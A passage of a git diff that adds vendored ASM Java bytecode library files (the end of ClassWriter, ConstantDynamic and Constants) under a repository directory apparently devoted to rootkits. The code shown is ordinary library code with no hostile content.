visitEnd() { + // Nothing to do. + } + + // ----------------------------------------------------------------------------------------------- + // Other public methods + // ----------------------------------------------------------------------------------------------- + + /** + * Returns the content of the class file that was built by this ClassWriter. + * + * @return the binary content of the JVMS ClassFile structure that was built by this ClassWriter. + * @throws ClassTooLargeException if the constant pool of the class is too large. + * @throws MethodTooLargeException if the Code attribute of a method is too large. + */ + public byte[] toByteArray() throws ClassTooLargeException, MethodTooLargeException { + // First step: compute the size in bytes of the ClassFile structure. + // The magic field uses 4 bytes, 10 mandatory fields (minor_version, major_version, + // constant_pool_count, access_flags, this_class, super_class, interfaces_count, fields_count, + // methods_count and attributes_count) use 2 bytes each, and each interface uses 2 bytes too. + int size = 24 + 2 * interfaceCount; + int fieldsCount = 0; + FieldWriter fieldWriter = firstField; + while (fieldWriter != null) { + ++fieldsCount; + size += fieldWriter.computeFieldInfoSize(); + fieldWriter = (FieldWriter) fieldWriter.fv; + } + int methodsCount = 0; + MethodWriter methodWriter = firstMethod; + while (methodWriter != null) { + ++methodsCount; + size += methodWriter.computeMethodInfoSize(); + methodWriter = (MethodWriter) methodWriter.mv; + } + // For ease of reference, we use here the same attribute order as in Section 4.7 of the JVMS. + int attributesCount = 0; + if (innerClasses != null) { + ++attributesCount; + size += 8 + innerClasses.length; + symbolTable.addConstantUtf8(Constants.INNER_CLASSES); + } + if (enclosingClassIndex != 0) { + ++attributesCount; + size += 10; + symbolTable.addConstantUtf8(Constants.ENCLOSING_METHOD); + } + if ((accessFlags & Opcodes.ACC_SYNTHETIC) != 0 && (version & 0xFFFF) < Opcodes.V1_5) { + ++attributesCount; + size += 6; + symbolTable.addConstantUtf8(Constants.SYNTHETIC); + } + if (signatureIndex != 0) { + ++attributesCount; + size += 8; + symbolTable.addConstantUtf8(Constants.SIGNATURE); + } + if (sourceFileIndex != 0) { + ++attributesCount; + size += 8; + symbolTable.addConstantUtf8(Constants.SOURCE_FILE); + } + if (debugExtension != null) { + ++attributesCount; + size += 6 + debugExtension.length; + symbolTable.addConstantUtf8(Constants.SOURCE_DEBUG_EXTENSION); + } + if ((accessFlags & Opcodes.ACC_DEPRECATED) != 0) { + ++attributesCount; + size += 6; + symbolTable.addConstantUtf8(Constants.DEPRECATED); + } + if (lastRuntimeVisibleAnnotation != null) { + ++attributesCount; + size += + lastRuntimeVisibleAnnotation.computeAnnotationsSize( + Constants.RUNTIME_VISIBLE_ANNOTATIONS); + } + if (lastRuntimeInvisibleAnnotation != null) { + ++attributesCount; + size += + lastRuntimeInvisibleAnnotation.computeAnnotationsSize( + Constants.RUNTIME_INVISIBLE_ANNOTATIONS); + } + if (lastRuntimeVisibleTypeAnnotation != null) { + ++attributesCount; + size += + lastRuntimeVisibleTypeAnnotation.computeAnnotationsSize( + Constants.RUNTIME_VISIBLE_TYPE_ANNOTATIONS); + } + if (lastRuntimeInvisibleTypeAnnotation != null) { + ++attributesCount; + size += + lastRuntimeInvisibleTypeAnnotation.computeAnnotationsSize( + Constants.RUNTIME_INVISIBLE_TYPE_ANNOTATIONS); + } + if (symbolTable.computeBootstrapMethodsSize() > 0) { + ++attributesCount; + size += symbolTable.computeBootstrapMethodsSize(); + } + if (moduleWriter != null) { + attributesCount += moduleWriter.getAttributeCount(); + size += moduleWriter.computeAttributesSize(); + } + if (nestHostClassIndex != 0) { + ++attributesCount; + size += 8; + symbolTable.addConstantUtf8(Constants.NEST_HOST); + } + if (nestMemberClasses != null) { + ++attributesCount; + size += 8 + nestMemberClasses.length; + symbolTable.addConstantUtf8(Constants.NEST_MEMBERS); + } + if (firstAttribute != null) { + attributesCount += firstAttribute.getAttributeCount(); + size += firstAttribute.computeAttributesSize(symbolTable); + } + // IMPORTANT: this must be the last part of the ClassFile size computation, because the previous + // statements can add attribute names to the constant pool, thereby changing its size! + size += symbolTable.getConstantPoolLength(); + int constantPoolCount = symbolTable.getConstantPoolCount(); + if (constantPoolCount > 0xFFFF) { + throw new ClassTooLargeException(symbolTable.getClassName(), constantPoolCount); + } + + // Second step: allocate a ByteVector of the correct size (in order to avoid any array copy in + // dynamic resizes) and fill it with the ClassFile content. + ByteVector result = new ByteVector(size); + result.putInt(0xCAFEBABE).putInt(version); + symbolTable.putConstantPool(result); + int mask = (version & 0xFFFF) < Opcodes.V1_5 ? Opcodes.ACC_SYNTHETIC : 0; + result.putShort(accessFlags & ~mask).putShort(thisClass).putShort(superClass); + result.putShort(interfaceCount); + for (int i = 0; i < interfaceCount; ++i) { + result.putShort(interfaces[i]); + } + result.putShort(fieldsCount); + fieldWriter = firstField; + while (fieldWriter != null) { + fieldWriter.putFieldInfo(result); + fieldWriter = (FieldWriter) fieldWriter.fv; + } + result.putShort(methodsCount); + boolean hasFrames = false; + boolean hasAsmInstructions = false; + methodWriter = firstMethod; + while (methodWriter != null) { + hasFrames |= methodWriter.hasFrames(); + hasAsmInstructions |= methodWriter.hasAsmInstructions(); + methodWriter.putMethodInfo(result); + methodWriter = (MethodWriter) methodWriter.mv; + } + // For ease of reference, we use here the same attribute order as in Section 4.7 of the JVMS. + result.putShort(attributesCount); + if (innerClasses != null) { + result + .putShort(symbolTable.addConstantUtf8(Constants.INNER_CLASSES)) + .putInt(innerClasses.length + 2) + .putShort(numberOfInnerClasses) + .putByteArray(innerClasses.data, 0, innerClasses.length); + } + if (enclosingClassIndex != 0) { + result + .putShort(symbolTable.addConstantUtf8(Constants.ENCLOSING_METHOD)) + .putInt(4) + .putShort(enclosingClassIndex) + .putShort(enclosingMethodIndex); + } + if ((accessFlags & Opcodes.ACC_SYNTHETIC) != 0 && (version & 0xFFFF) < Opcodes.V1_5) { + result.putShort(symbolTable.addConstantUtf8(Constants.SYNTHETIC)).putInt(0); + } + if (signatureIndex != 0) { + result + .putShort(symbolTable.addConstantUtf8(Constants.SIGNATURE)) + .putInt(2) + .putShort(signatureIndex); + } + if (sourceFileIndex != 0) { + result + .putShort(symbolTable.addConstantUtf8(Constants.SOURCE_FILE)) + .putInt(2) + .putShort(sourceFileIndex); + } + if (debugExtension != null) { + int length = debugExtension.length; + result + .putShort(symbolTable.addConstantUtf8(Constants.SOURCE_DEBUG_EXTENSION)) + .putInt(length) + .putByteArray(debugExtension.data, 0, length); + } + if ((accessFlags & Opcodes.ACC_DEPRECATED) != 0) { + result.putShort(symbolTable.addConstantUtf8(Constants.DEPRECATED)).putInt(0); + } + if (lastRuntimeVisibleAnnotation != null) { + lastRuntimeVisibleAnnotation.putAnnotations( + symbolTable.addConstantUtf8(Constants.RUNTIME_VISIBLE_ANNOTATIONS), result); + } + if (lastRuntimeInvisibleAnnotation != null) { + lastRuntimeInvisibleAnnotation.putAnnotations( + symbolTable.addConstantUtf8(Constants.RUNTIME_INVISIBLE_ANNOTATIONS), result); + } + if (lastRuntimeVisibleTypeAnnotation != null) { + lastRuntimeVisibleTypeAnnotation.putAnnotations( + symbolTable.addConstantUtf8(Constants.RUNTIME_VISIBLE_TYPE_ANNOTATIONS), result); + } + if (lastRuntimeInvisibleTypeAnnotation != null) { + lastRuntimeInvisibleTypeAnnotation.putAnnotations( + symbolTable.addConstantUtf8(Constants.RUNTIME_INVISIBLE_TYPE_ANNOTATIONS), result); + } + symbolTable.putBootstrapMethods(result); + if (moduleWriter != null) { + moduleWriter.putAttributes(result); + } + if (nestHostClassIndex != 0) { + result + .putShort(symbolTable.addConstantUtf8(Constants.NEST_HOST)) + .putInt(2) + .putShort(nestHostClassIndex); + } + if (nestMemberClasses != null) { + result + .putShort(symbolTable.addConstantUtf8(Constants.NEST_MEMBERS)) + .putInt(nestMemberClasses.length + 2) + .putShort(numberOfNestMemberClasses) + .putByteArray(nestMemberClasses.data, 0, nestMemberClasses.length); + } + if (firstAttribute != null) { + firstAttribute.putAttributes(symbolTable, result); + } + + // Third step: replace the ASM specific instructions, if any. + if (hasAsmInstructions) { + return replaceAsmInstructions(result.data, hasFrames); + } else { + return result.data; + } + } + + /** + * Returns the equivalent of the given class file, with the ASM specific instructions replaced + * with standard ones. This is done with a ClassReader -> ClassWriter round trip. + * + * @param classFile a class file containing ASM specific instructions, generated by this + * ClassWriter. + * @param hasFrames whether there is at least one stack map frames in 'classFile'. + * @return an equivalent of 'classFile', with the ASM specific instructions replaced with standard + * ones. + */ + private byte[] replaceAsmInstructions(final byte[] classFile, final boolean hasFrames) { + final Attribute[] attributes = getAttributePrototypes(); + firstField = null; + lastField = null; + firstMethod = null; + lastMethod = null; + lastRuntimeVisibleAnnotation = null; + lastRuntimeInvisibleAnnotation = null; + lastRuntimeVisibleTypeAnnotation = null; + lastRuntimeInvisibleTypeAnnotation = null; + moduleWriter = null; + nestHostClassIndex = 0; + numberOfNestMemberClasses = 0; + nestMemberClasses = null; + firstAttribute = null; + compute = hasFrames ? MethodWriter.COMPUTE_INSERTED_FRAMES : MethodWriter.COMPUTE_NOTHING; + new ClassReader(classFile, 0, /* checkClassVersion = */ false) + .accept( + this, + attributes, + (hasFrames ? ClassReader.EXPAND_FRAMES : 0) | ClassReader.EXPAND_ASM_INSNS); + return toByteArray(); + } + + /** + * Returns the prototypes of the attributes used by this class, its fields and its methods. + * + * @return the prototypes of the attributes used by this class, its fields and its methods. + */ + private Attribute[] getAttributePrototypes() { + Attribute.Set attributePrototypes = new Attribute.Set(); + attributePrototypes.addAttributes(firstAttribute); + FieldWriter fieldWriter = firstField; + while (fieldWriter != null) { + fieldWriter.collectAttributePrototypes(attributePrototypes); + fieldWriter = (FieldWriter) fieldWriter.fv; + } + MethodWriter methodWriter = firstMethod; + while (methodWriter != null) { + methodWriter.collectAttributePrototypes(attributePrototypes); + methodWriter = (MethodWriter) methodWriter.mv; + } + return attributePrototypes.toArray(); + } + + // ----------------------------------------------------------------------------------------------- + // Utility methods: constant pool management for Attribute sub classes + // ----------------------------------------------------------------------------------------------- + + /** + * Adds a number or string constant to the constant pool of the class being build. Does nothing if + * the constant pool already contains a similar item. This method is intended for {@link + * Attribute} sub classes, and is normally not needed by class generators or adapters. + * + * @param value the value of the constant to be added to the constant pool. This parameter must be + * an {@link Integer}, a {@link Float}, a {@link Long}, a {@link Double} or a {@link String}. + * @return the index of a new or already existing constant item with the given value. + */ + public int newConst(final Object value) { + return symbolTable.addConstant(value).index; + } + + /** + * Adds an UTF8 string to the constant pool of the class being build. Does nothing if the constant + * pool already contains a similar item. This method is intended for {@link Attribute} sub + * classes, and is normally not needed by class generators or adapters. + * + * @param value the String value. + * @return the index of a new or already existing UTF8 item. + */ + // DontCheck(AbbreviationAsWordInName): can't be renamed (for backward binary compatibility). + public int newUTF8(final String value) { + return symbolTable.addConstantUtf8(value); + } + + /** + * Adds a class reference to the constant pool of the class being build. Does nothing if the + * constant pool already contains a similar item. This method is intended for {@link Attribute} + * sub classes, and is normally not needed by class generators or adapters. + * + * @param value the internal name of the class. + * @return the index of a new or already existing class reference item. + */ + public int newClass(final String value) { + return symbolTable.addConstantClass(value).index; + } + + /** + * Adds a method type reference to the constant pool of the class being build. Does nothing if the + * constant pool already contains a similar item. This method is intended for {@link Attribute} + * sub classes, and is normally not needed by class generators or adapters. + * + * @param methodDescriptor method descriptor of the method type. + * @return the index of a new or already existing method type reference item. + */ + public int newMethodType(final String methodDescriptor) { + return symbolTable.addConstantMethodType(methodDescriptor).index; + } + + /** + * Adds a module reference to the constant pool of the class being build. Does nothing if the + * constant pool already contains a similar item. This method is intended for {@link Attribute} + * sub classes, and is normally not needed by class generators or adapters. + * + * @param moduleName name of the module. + * @return the index of a new or already existing module reference item. + */ + public int newModule(final String moduleName) { + return symbolTable.addConstantModule(moduleName).index; + } + + /** + * Adds a package reference to the constant pool of the class being build. Does nothing if the + * constant pool already contains a similar item. This method is intended for {@link Attribute} + * sub classes, and is normally not needed by class generators or adapters. + * + * @param packageName name of the package in its internal form. + * @return the index of a new or already existing module reference item. + */ + public int newPackage(final String packageName) { + return symbolTable.addConstantPackage(packageName).index; + } + + /** + * Adds a handle to the constant pool of the class being build. Does nothing if the constant pool + * already contains a similar item. This method is intended for {@link Attribute} sub classes, + * and is normally not needed by class generators or adapters. + * + * @param tag the kind of this handle. Must be {@link Opcodes#H_GETFIELD}, {@link + * Opcodes#H_GETSTATIC}, {@link Opcodes#H_PUTFIELD}, {@link Opcodes#H_PUTSTATIC}, {@link + * Opcodes#H_INVOKEVIRTUAL}, {@link Opcodes#H_INVOKESTATIC}, {@link Opcodes#H_INVOKESPECIAL}, + * {@link Opcodes#H_NEWINVOKESPECIAL} or {@link Opcodes#H_INVOKEINTERFACE}. + * @param owner the internal name of the field or method owner class. + * @param name the name of the field or method. + * @param descriptor the descriptor of the field or method. + * @return the index of a new or already existing method type reference item. + * @deprecated this method is superseded by {@link #newHandle(int, String, String, String, + * boolean)}. + */ + @Deprecated + public int newHandle( + final int tag, final String owner, final String name, final String descriptor) { + return newHandle(tag, owner, name, descriptor, tag == Opcodes.H_INVOKEINTERFACE); + } + + /** + * Adds a handle to the constant pool of the class being build. Does nothing if the constant pool + * already contains a similar item. This method is intended for {@link Attribute} sub classes, + * and is normally not needed by class generators or adapters. + * + * @param tag the kind of this handle. Must be {@link Opcodes#H_GETFIELD}, {@link + * Opcodes#H_GETSTATIC}, {@link Opcodes#H_PUTFIELD}, {@link Opcodes#H_PUTSTATIC}, {@link + * Opcodes#H_INVOKEVIRTUAL}, {@link Opcodes#H_INVOKESTATIC}, {@link Opcodes#H_INVOKESPECIAL}, + * {@link Opcodes#H_NEWINVOKESPECIAL} or {@link Opcodes#H_INVOKEINTERFACE}. + * @param owner the internal name of the field or method owner class. + * @param name the name of the field or method. + * @param descriptor the descriptor of the field or method. + * @param isInterface true if the owner is an interface. + * @return the index of a new or already existing method type reference item. + */ + public int newHandle( + final int tag, + final String owner, + final String name, + final String descriptor, + final boolean isInterface) { + return symbolTable.addConstantMethodHandle(tag, owner, name, descriptor, isInterface).index; + } + + /** + * Adds a dynamic constant reference to the constant pool of the class being build. Does nothing + * if the constant pool already contains a similar item. This method is intended for {@link + * Attribute} sub classes, and is normally not needed by class generators or adapters. + * + * @param name name of the invoked method. + * @param descriptor field descriptor of the constant type. + * @param bootstrapMethodHandle the bootstrap method. + * @param bootstrapMethodArguments the bootstrap method constant arguments. + * @return the index of a new or already existing dynamic constant reference item. + */ + public int newConstantDynamic( + final String name, + final String descriptor, + final Handle bootstrapMethodHandle, + final Object... bootstrapMethodArguments) { + return symbolTable.addConstantDynamic( + name, descriptor, bootstrapMethodHandle, bootstrapMethodArguments) + .index; + } + + /** + * Adds an invokedynamic reference to the constant pool of the class being build. Does nothing if + * the constant pool already contains a similar item. This method is intended for {@link + * Attribute} sub classes, and is normally not needed by class generators or adapters. + * + * @param name name of the invoked method. + * @param descriptor descriptor of the invoke method. + * @param bootstrapMethodHandle the bootstrap method. + * @param bootstrapMethodArguments the bootstrap method constant arguments. + * @return the index of a new or already existing invokedynamic reference item. + */ + public int newInvokeDynamic( + final String name, + final String descriptor, + final Handle bootstrapMethodHandle, + final Object... bootstrapMethodArguments) { + return symbolTable.addConstantInvokeDynamic( + name, descriptor, bootstrapMethodHandle, bootstrapMethodArguments) + .index; + } + + /** + * Adds a field reference to the constant pool of the class being build. Does nothing if the + * constant pool already contains a similar item. This method is intended for {@link Attribute} + * sub classes, and is normally not needed by class generators or adapters. + * + * @param owner the internal name of the field's owner class. + * @param name the field's name. + * @param descriptor the field's descriptor. + * @return the index of a new or already existing field reference item. + */ + public int newField(final String owner, final String name, final String descriptor) { + return symbolTable.addConstantFieldref(owner, name, descriptor).index; + } + + /** + * Adds a method reference to the constant pool of the class being build. Does nothing if the + * constant pool already contains a similar item. This method is intended for {@link Attribute} + * sub classes, and is normally not needed by class generators or adapters. + * + * @param owner the internal name of the method's owner class. + * @param name the method's name. + * @param descriptor the method's descriptor. + * @param isInterface {@literal true} if {@code owner} is an interface. + * @return the index of a new or already existing method reference item. + */ + public int newMethod( + final String owner, final String name, final String descriptor, final boolean isInterface) { + return symbolTable.addConstantMethodref(owner, name, descriptor, isInterface).index; + } + + /** + * Adds a name and type to the constant pool of the class being build. Does nothing if the + * constant pool already contains a similar item. This method is intended for {@link Attribute} + * sub classes, and is normally not needed by class generators or adapters. + * + * @param name a name. + * @param descriptor a type descriptor. + * @return the index of a new or already existing name and type item. + */ + public int newNameType(final String name, final String descriptor) { + return symbolTable.addConstantNameAndType(name, descriptor); + } + + // ----------------------------------------------------------------------------------------------- + // Default method to compute common super classes when computing stack map frames + // ----------------------------------------------------------------------------------------------- + + /** + * Returns the common super type of the two given types. The default implementation of this method + * loads the two given classes and uses the java.lang.Class methods to find the common + * super class. It can be overridden to compute this common super type in other ways, in + * particular without actually loading any class, or to take into account the class that is + * currently being generated by this ClassWriter, which can of course not be loaded since it is + * under construction. + * + * @param type1 the internal name of a class. + * @param type2 the internal name of another class. + * @return the internal name of the common super class of the two given classes. + */ + protected String getCommonSuperClass(final String type1, final String type2) { + ClassLoader classLoader = getClassLoader(); + Class class1; + try { + class1 = Class.forName(type1.replace('/', '.'), false, classLoader); + } catch (ClassNotFoundException e) { + throw new TypeNotPresentException(type1, e); + } + Class class2; + try { + class2 = Class.forName(type2.replace('/', '.'), false, classLoader); + } catch (ClassNotFoundException e) { + throw new TypeNotPresentException(type2, e); + } + if (class1.isAssignableFrom(class2)) { + return type1; + } + if (class2.isAssignableFrom(class1)) { + return type2; + } + if (class1.isInterface() || class2.isInterface()) { + return "java/lang/Object"; + } else { + do { + class1 = class1.getSuperclass(); + } while (!class1.isAssignableFrom(class2)); + return class1.getName().replace('.', '/'); + } + } + + /** + * Returns the {@link ClassLoader} to be used by the default implementation of {@link + * #getCommonSuperClass(String, String)}, that of this {@link ClassWriter}'s runtime type by + * default. + * + * @return ClassLoader + */ + protected ClassLoader getClassLoader() { + return getClass().getClassLoader(); + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/ConstantDynamic.java b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/ConstantDynamic.java new file mode 100644 index 0000000..f3d2127 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/ConstantDynamic.java @@ -0,0 +1,178 @@ +// ASM: a very small and fast Java bytecode manipulation framework +// Copyright (c) 2000-2011 INRIA, France Telecom +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without +// modification, are permitted provided that the following conditions +// are met: +// 1. Redistributions of source code must retain the above copyright +// notice, this list of conditions and the following disclaimer. +// 2. Redistributions in binary form must reproduce the above copyright +// notice, this list of conditions and the following disclaimer in the +// documentation and/or other materials provided with the distribution. +// 3. Neither the name of the copyright holders nor the names of its +// contributors may be used to endorse or promote products derived from +// this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +// ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE +// LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN +// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF +// THE POSSIBILITY OF SUCH DAMAGE. +package org.objectweb.asm; + +import java.util.Arrays; + +/** + * A constant whose value is computed at runtime, with a bootstrap method. + * + * @author Remi Forax + */ +public final class ConstantDynamic { + + /** The constant name (can be arbitrary). */ + private final String name; + + /** The constant type (must be a field descriptor). */ + private final String descriptor; + + /** The bootstrap method to use to compute the constant value at runtime. */ + private final Handle bootstrapMethod; + + /** + * The arguments to pass to the bootstrap method, in order to compute the constant value at + * runtime. + */ + private final Object[] bootstrapMethodArguments; + + /** + * Constructs a new {@link ConstantDynamic}. + * + * @param name the constant name (can be arbitrary). + * @param descriptor the constant type (must be a field descriptor). + * @param bootstrapMethod the bootstrap method to use to compute the constant value at runtime. + * @param bootstrapMethodArguments the arguments to pass to the bootstrap method, in order to + * compute the constant value at runtime. + */ + public ConstantDynamic( + final String name, + final String descriptor, + final Handle bootstrapMethod, + final Object... bootstrapMethodArguments) { + this.name = name; + this.descriptor = descriptor; + this.bootstrapMethod = bootstrapMethod; + this.bootstrapMethodArguments = bootstrapMethodArguments; + } + + /** + * Returns the name of this constant. + * + * @return the name of this constant. + */ + public String getName() { + return name; + } + + /** + * Returns the type of this constant. + * + * @return the type of this constant, as a field descriptor. + */ + public String getDescriptor() { + return descriptor; + } + + /** + * Returns the bootstrap method used to compute the value of this constant. + * + * @return the bootstrap method used to compute the value of this constant. + */ + public Handle getBootstrapMethod() { + return bootstrapMethod; + } + + /** + * Returns the number of arguments passed to the bootstrap method, in order to compute the value + * of this constant. + * + * @return the number of arguments passed to the bootstrap method, in order to compute the value + * of this constant. + */ + public int getBootstrapMethodArgumentCount() { + return bootstrapMethodArguments.length; + } + + /** + * Returns an argument passed to the bootstrap method, in order to compute the value of this + * constant. + * + * @param index an argument index, between 0 and {@link #getBootstrapMethodArgumentCount()} + * (exclusive). + * @return the argument passed to the bootstrap method, with the given index. + */ + public Object getBootstrapMethodArgument(final int index) { + return bootstrapMethodArguments[index]; + } + + /** + * Returns the arguments to pass to the bootstrap method, in order to compute the value of this + * constant. WARNING: this array must not be modified, and must not be returned to the user. + * + * @return the arguments to pass to the bootstrap method, in order to compute the value of this + * constant. + */ + Object[] getBootstrapMethodArgumentsUnsafe() { + return bootstrapMethodArguments; + } + + /** + * Returns the size of this constant. + * + * @return the size of this constant, i.e., 2 for {@code long} and {@code double}, 1 otherwise. + */ + public int getSize() { + char firstCharOfDescriptor = descriptor.charAt(0); + return (firstCharOfDescriptor == 'J' || firstCharOfDescriptor == 'D') ? 2 : 1; + } + + @Override + public boolean equals(final Object object) { + if (object == this) { + return true; + } + if (!(object instanceof ConstantDynamic)) { + return false; + } + ConstantDynamic constantDynamic = (ConstantDynamic) object; + return name.equals(constantDynamic.name) + && descriptor.equals(constantDynamic.descriptor) + && bootstrapMethod.equals(constantDynamic.bootstrapMethod) + && Arrays.equals(bootstrapMethodArguments, constantDynamic.bootstrapMethodArguments); + } + + @Override + public int hashCode() { + return name.hashCode() + ^ Integer.rotateLeft(descriptor.hashCode(), 8) + ^ Integer.rotateLeft(bootstrapMethod.hashCode(), 16) + ^ Integer.rotateLeft(Arrays.hashCode(bootstrapMethodArguments), 24); + } + + @Override + public String toString() { + return name + + " : " + + descriptor + + ' ' + + bootstrapMethod + + ' ' + + Arrays.toString(bootstrapMethodArguments); + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/Constants.java b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/Constants.java new file mode 100644 index 0000000..26db7e9 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/org.objectweb.asm.core/src/org/objectweb/asm/Constants.java @@ -0,0 +1,177 @@ +// ASM: a very small and fast Java bytecode manipulation framework +// Copyright (c) 2000-2011 INRIA, France Telecom +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without +// modification, are permitted provided that the following conditions +// are met: +// 1. Redistributions of source code must retain the above copyright +// notice, this list of conditions and the following disclaimer. +// 2. Redistributions in binary form must reproduce the above copyright +// notice, this list of conditions and the following disclaimer in the +// documentation and/or other materials provided with the distribution. +// 3. Neither the name of the copyright holders nor the names of its +// contributors may be used to endorse or promote products derived from +// this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +// ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE +// LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN +// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF +// THE POSSIBILITY OF SUCH DAMAGE. +package org.objectweb.asm; + +/** + * Defines additional JVM opcodes, access flags and constants which are not part of the ASM public + * API. + * + * @see JVMS 6 + * @author Eric Bruneton + */ +final class Constants implements Opcodes { + + // The ClassFile attribute names, in the order they are defined in + // https://docs.oracle.com/javase/specs/jvms/se11/html/jvms-4.html#jvms-4.7-300. + + static final String CONSTANT_VALUE = "ConstantValue"; + static final String CODE = "Code"; + static final String STACK_MAP_TABLE = "StackMapTable"; + static final String EXCEPTIONS = "Exceptions"; + static final String INNER_CLASSES = "InnerClasses"; + static final String ENCLOSING_METHOD = "EnclosingMethod"; + static final String SYNTHETIC = "Synthetic"; + static final String SIGNATURE = "Signature"; + static final String SOURCE_FILE = "SourceFile"; + static final String SOURCE_DEBUG_EXTENSION = "SourceDebugExtension"; + static final String LINE_NUMBER_TABLE = "LineNumberTable"; + static final String LOCAL_VARIABLE_TABLE = "LocalVariableTable"; + static final String LOCAL_VARIABLE_TYPE_TABLE = "LocalVariableTypeTable"; + static final String DEPRECATED = "Deprecated"; + static final String RUNTIME_VISIBLE_ANNOTATIONS = "RuntimeVisibleAnnotations"; + static final String RUNTIME_INVISIBLE_ANNOTATIONS = "RuntimeInvisibleAnnotations"; + static final String RUNTIME_VISIBLE_PARAMETER_ANNOTATIONS = "RuntimeVisibleParameterAnnotations"; + static final String RUNTIME_INVISIBLE_PARAMETER_ANNOTATIONS = + "RuntimeInvisibleParameterAnnotations"; + static final String RUNTIME_VISIBLE_TYPE_ANNOTATIONS = "RuntimeVisibleTypeAnnotations"; + static final String RUNTIME_INVISIBLE_TYPE_ANNOTATIONS = "RuntimeInvisibleTypeAnnotations"; + static final String ANNOTATION_DEFAULT = "AnnotationDefault"; + static final String BOOTSTRAP_METHODS = "BootstrapMethods"; + static final String METHOD_PARAMETERS = "MethodParameters"; + static final String MODULE = "Module"; + static final String MODULE_PACKAGES = "ModulePackages"; + static final String MODULE_MAIN_CLASS = "ModuleMainClass"; + static final String NEST_HOST = "NestHost"; + static final String NEST_MEMBERS = "NestMembers"; + + // ASM specific access flags. + // WARNING: the 16 least significant bits must NOT be used, to avoid conflicts with standard + // access flags, and also to make sure that these flags are automatically filtered out when + // written in class files (because access flags are stored using 16 bits only). + + static final int ACC_CONSTRUCTOR = 0x40000; // method access flag. + + // ASM specific stack map frame types, used in {@link ClassVisitor#visitFrame}. + + /** + * A frame inserted between already existing frames. This internal stack map frame type (in + * addition to the ones declared in {@link Opcodes}) can only be used if the frame content can be + * computed from the previous existing frame and from the instructions between this existing frame + * and the inserted one, without any knowledge of the type hierarchy. This kind of frame is only + * used when an unconditional jump is inserted in a method while expanding an ASM specific + * instruction. Keep in sync with Opcodes.java. + */ + static final int F_INSERT = 256; + + // The JVM opcode values which are not part of the ASM public API. + // See https://docs.oracle.com/javase/specs/jvms/se9/html/jvms-6.html. + + static final int LDC_W = 19; + static final int LDC2_W = 20; + static final int ILOAD_0 = 26; + static final int ILOAD_1 = 27; + static final int ILOAD_2 = 28; + static final int ILOAD_3 = 29; + static final int LLOAD_0 = 30; + static final int LLOAD_1 = 31; + static final int LLOAD_2 = 32; + static final int LLOAD_3 = 33; + static final int FLOAD_0 = 34; + static final int FLOAD_1 = 35; + static final int FLOAD_2 = 36; + static final int FLOAD_3 = 37; + static final int DLOAD_0 = 38; + static final int DLOAD_1 = 39; + static final int DLOAD_2 = 40; + static final int DLOAD_3 = 41; + static final int ALOAD_0 = 42; + static final int ALOAD_1 = 43; + static final int ALOAD_2 = 44; + static final int ALOAD_3 = 45; + static final int ISTORE_0 = 59; + static final int ISTORE_1 = 60; + static final int ISTORE_2 = 61; + static final int ISTORE_3 = 62; + static final int LSTORE_0 = 63; + static final int LSTORE_1 = 64; + static final int LSTORE_2 = 65; + static final int LSTORE_3 = 66; + static final int FSTORE_0 = 67; + static final int FSTORE_1 = 68; + static final int FSTORE_2 = 69; + static final int FSTORE_3 = 70; + static final int DSTORE_0 = 71; + static final int DSTORE_1 = 72; + static final int DSTORE_2 = 73; + static final int DSTORE_3 = 74; + static final int ASTORE_0 = 75; + static final int ASTORE_1 = 76; + static final int ASTORE_2 = 77; + static final int ASTORE_3 = 78; + static final int WIDE = 196; + static final int GOTO_W = 200; + static final int JSR_W = 201; + + // Constants to convert between normal and wide jump instructions. + + // The delta between the GOTO_W and JSR_W opcodes and GOTO and JUMP. + static final int WIDE_JUMP_OPCODE_DELTA = GOTO_W - GOTO; + + // Constants to convert JVM opcodes to the equivalent ASM specific opcodes, and vice versa. + + // The delta between the ASM_IFEQ, ..., ASM_IF_ACMPNE, ASM_GOTO and 